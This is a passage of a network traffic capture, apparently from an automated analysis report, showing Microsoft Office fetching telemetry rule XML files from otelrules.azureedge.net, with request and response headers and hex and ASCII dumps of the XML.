2024-11-24 03:23:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:13 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 852b0afa-d01e-00a1-0e9b-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032313Z-174c587ffdfmlsmvhC1TEBvyks00000003y000000000k27e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:13 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:13 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 3b38473f-101e-007a-2bbc-3b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032313Z-15b8b599d88m7pn7hC1TEB4axw0000000400000000002w6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:13 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:13 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a1d7de20-e01e-0051-6948-3c84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032313Z-178bfbc474brk967hC1NYCfu60000000055000000000cbzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:13 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:14 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8abb671b-d01e-0049-4b0c-3de7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032314Z-178bfbc474bbbqrhhC1NYCvw7400000005mg000000004dsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:14 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:15 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:15 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: ab1afa94-201e-0085-151a-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032315Z-178bfbc474bw8bwphC1NYC38b4000000053000000000mt02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:15 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:15 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:15 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 150e742e-301e-0033-3994-3bfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032315Z-15b8b599d88hr8sfhC1TEBbca400000003q000000000ehry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:15 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:15 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:16 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 6d8f64b9-901e-005b-763b-3c2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032316Z-178bfbc474bv7whqhC1NYC1fg400000005d0000000008mmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:16 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:15 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:16 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: de9d050e-401e-0078-2067-3b4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032316Z-178bfbc474bp8mkvhC1NYCzqnn000000054000000000mdt9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:16 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:16 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:16 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cd486f0a-401e-0048-5b49-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032316Z-15b8b599d88cn5thhC1TEBqxkn00000003qg00000000dtam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:16 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:17 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:17 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: afa98cfc-701e-003e-2a3c-3c79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032317Z-178bfbc474bscnbchC1NYCe7eg00000005h000000000a4ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:17 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:17 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:17 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 8c2dcc7a-801e-0035-158c-3b752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032317Z-174c587ffdfks6tlhC1TEBeza4000000040g000000002yh6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:17 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:18 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
